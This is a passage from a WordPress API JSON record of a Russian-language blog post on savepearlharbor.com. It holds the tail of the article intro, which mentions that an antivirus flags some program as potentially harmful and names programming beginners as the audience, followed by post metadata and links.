\u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u043d\u0430\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u0430 (\u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u0440\u0430\u043a\u0442\u043e\u0432\u043a\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432).<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/915\/347\/55f\/91534755f87744d390252506eeba7ed6.jpg\" alt=\"\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b\"\/><br \/>  <b>\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:<\/b><br \/>  \u041d\u043e\u0432\u0438\u0447\u043a\u0438 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0435\u0441\u044f.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-263913","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/263913","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=263913"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/263913\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=263913"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=263913"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=263913"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}